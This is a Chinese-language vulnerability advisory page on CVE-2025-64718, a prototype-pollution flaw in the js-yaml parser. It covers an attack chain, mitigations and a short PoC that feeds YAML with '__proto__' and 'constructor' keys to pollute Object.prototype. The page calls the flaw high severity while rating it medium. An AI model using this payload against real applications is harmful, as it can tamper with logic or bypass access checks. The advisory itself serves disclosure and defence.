IPBUF安全漏洞报告
English
CVE-2025-64718 CVSS 5.3 中危

CVE-2025-64718 js-yaml原型污染漏洞安全分析

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-64718
漏洞类型
原型污染
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
js-yaml

相关标签

原型污染js-yamlJavaScriptNode.jsYAML解析CVE-2025-64718安全漏洞漏洞利用

漏洞概述

CVE-2025-64718是js-yaml库中的一个高危安全漏洞,属于原型污染(Prototype Pollution)类型。该漏洞影响js-yaml 4.1.1之前和3.14.2之前的所有版本。js-yaml是一款广泛应用于Node.js和浏览器的JavaScript YAML解析器和序列化工具,被众多开源项目和商业应用依赖。漏洞根源在于解析YAML文档时,攻击者可以通过在YAML数据中注入__proto__属性来修改JavaScript对象的原型链。当应用程序将解析后的YAML对象合并到其他对象或进行属性拷贝操作时,原型污染会导致意想不到的安全问题,可能造成应用程序逻辑被篡改、拒绝服务或敏感数据泄露。所有使用js-yaml解析不可信YAML文档的应用程序都可能受到此漏洞影响。CVSS 3.1评分5.3(中等严重程度),攻击复杂度低,无需认证和用户交互即可利用,但影响范围仅限于数据完整性的低程度损害。

技术细节

js-yaml在解析YAML文档时存在原型污染漏洞。漏洞产生的根本原因是库在处理包含特殊属性名(如__proto__、constructor、prototype)的YAML键时没有进行充分的安全校验。攻击者构造恶意YAML输入,利用YAML规范中允许使用特殊键的特性,当js-yaml解析这类文档时,会将这些特殊键直接赋值到解析结果对象中。在JavaScript中,__proto__属性指向对象的原型,通过修改该属性可以动态改变对象继承的属性和方法。当应用程序后续对解析结果进行对象合并、深拷贝或属性迭代等操作时,被污染的原型属性会传播到其他对象,导致原型链被篡改。攻击者可以利用此漏洞注入或覆盖应用程序原型对象上的关键属性和方法,从而执行任意代码、绕过安全检查或造成应用程序异常行为。漏洞影响所有主流JavaScript运行时环境,包括Node.js和浏览器环境。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标应用使用js-yaml库解析YAML配置文件或用户输入
STEP 2
步骤2:构造恶意Payload
攻击者构造包含__proto__、constructor等特殊属性的恶意YAML文档
STEP 3
步骤3:触发解析
通过配置文件上传、API参数注入或任何接受YAML输入的方式将恶意Payload提交到目标系统
STEP 4
步骤4:原型链污染
js-yaml解析器处理恶意YAML时,将__proto__等属性赋值到解析结果,污染JavaScript对象原型链
STEP 5
步骤5:触发利用
当应用程序对污染对象进行merge、extend或spread操作时,原型上的恶意属性传播到其他对象
STEP 6
步骤6:达成攻击目的
攻击者可通过覆盖关键属性实现权限提升、代码执行或造成应用拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const yaml = require('js-yaml'); // Malicious YAML input that triggers prototype pollution const maliciousYaml = ` __proto__: admin: true constructor: prototype: polluted: true `; try { // Parse the malicious YAML const result = yaml.load(maliciousYaml); // Check if prototype was polluted console.log('Parsed result:', result); console.log('Prototype pollution check:'); console.log('Object.prototype.admin:', Object.prototype.admin); console.log('Object.prototype.polluted:', Object.prototype.polluted); // Demonstrate the impact - create a new empty object const cleanObj = {}; console.log('New object admin property:', cleanObj.admin); console.log('New object polluted property:', cleanObj.polluted); } catch (e) { console.error('Error:', e.message); } // Safe load example with schema restriction console.log('\n--- Using safe load with custom schema ---'); try { const safeResult = yaml.load(maliciousYaml, { schema: yaml.JSON_SCHEMA // More restrictive schema }); console.log('Safe result:', safeResult); } catch (e) { console.log('Safe load caught error:', e.message); }

影响范围

js-yaml < 3.14.2
js-yaml >= 4.0.0 且 < 4.1.1

防御指南

临时缓解措施
如果无法立即升级js-yaml库,可采取以下临时缓解措施:1) 使用Node.js启动参数--disable-proto=delete禁用原型删除操作;2) 在Deno环境中运行,因Deno默认启用原型污染保护;3) 对所有YAML解析结果进行安全检查,移除__proto__、constructor等危险属性;4) 避免将不可信来源的YAML解析结果直接合并到应用程序对象中;5) 考虑使用更安全的YAML解析库或实现自定义的安全包装器。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表